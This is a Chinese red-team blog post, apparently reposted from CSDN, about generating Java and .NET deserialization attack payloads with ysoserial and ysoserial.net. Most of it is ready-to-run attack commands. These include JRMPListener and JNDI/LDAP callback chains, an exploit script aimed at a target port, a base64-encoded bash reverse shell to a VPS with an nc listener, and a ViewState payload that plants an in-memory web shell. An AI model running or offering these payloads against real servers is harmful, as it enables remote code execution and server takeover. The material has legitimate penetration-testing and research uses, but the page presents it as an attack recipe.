红队专题-反序列化攻击-Tools-Ysoserial

发布时间:2024年01月12日

在这里插入图片描述

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
在这里插入图片描述

ysoserial-0.0.6-SNAPSHOT-all.jar

概念验证工具,用于生成利用不安全的Java对象反序列化的有效负载

URLDNS是ysoserial中最简单的一条利用链

ysoserial集合了各种java反序列化payload
git clone https://github.com/frohoff/ysoserial.git
下载地址:https://github.com/angelwhu/ysoserial

公网vps上执行


java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener  【port】 CommonsCollections1 '【commands】'


port:公网vps上监听的端口号
commands:需要执行的命令



java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2  rce.267hqw.ceye.io'



重启一个shell窗口:

python exploit.py 【目标ip】 【目标端口】 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 【JRMPListener ip】  【JRMPListener port】 JRMPClient

python exploit.py xx.xx.xx.xx  7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar xx.xx.xx.xx  1099 JRMPClient


Linux:
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils1 "bash -c {echo,字段}|{base64,-d}|{bash,-i}"  

字段=bash -i >& /dev/tcp/x.x.x.x/8888 0>&1 base64后的值  

nc -lvp 端口




Windows:
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址

java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils2 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p"  


d2hvYW1p为命令的base64,这里是执行命令whoami




在ysoserial下生成URLDNS命令为:

java -jar .\ysoserial.jar URLDNS "http://xxx.dnslog.cn"

ysoserial的原生CB1的链

CC6链

java -jar ysoserial.jar CommonsCollections6 'bash -c {echo,YmFzaxxIDA+JjE=}|{base64,-d}|{bash,-i}' > poc.serx

在ysoserial编写自己的payload

git clone https://github.com/fanyingjie2/ysoserial.git
将自己编写的payload放在下载的包中:路径ysoserial/src/main/java/ysoserial/payloads/
修改Dockerfile

FROM maven:3.5-jdk-8
WORKDIR /app
# download artifacts
COPY pom.xml .
RUN mvn dependency:resolve
RUN mvn verify
RUN mvn compiler:help
# build
COPY src ./src
RUN mvn clean package -DskipTests
RUN mv target/ysoserial-*all*.jar target/ysoserial.jar 

docker build -t ysoserial .
docker run -ti ID号 /bin/bash
在docke中执行 apt-get update
在docker中执行apt-get install lrzsz
sz target/ysoserial.jar

ysoserial.net

https://github.com/pwntester/ysoserial.net

Ysoserial.Net只提供序列化之后的Payload主体,具体执行的命令从外部输入,实现代码清单如下


String payload = @"{
 
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
 
    'MethodName':'Start',
 
    'MethodParameters':{
 
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
 
        '$values':[" + cmdPart + @"]
 
    },
 
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}

前言

利用方式
Ysoserial.Net 来?成反序列化 payload,再通过调?远程?法来触发反序列化,实现任意代码执?,从?导致服务器被接管。

payload 举例

{{unquote("PK\x03\x04\\x00")}}
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "memshell.cs;./dlls/System.dll;./dlls/System.Web.dll" --generator="C2EE9ABB" --validationalg="SHA1" --validationkey="C50xxxxxxxxxxxxxxABE"




ysoserial.exe -f BinaryFormatter -g ResourceSet -o base64 -c "ping jcudlhvdwm.dgrh3.cn"

参考文章

https://mp.weixin.qq.com/s/wldhQ6vhYSg-RBjy7v0aMQ
.NET实现Json序列化生成Ysoserial Payload

文章来源:https://blog.csdn.net/qq_33608000/article/details/135547413
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。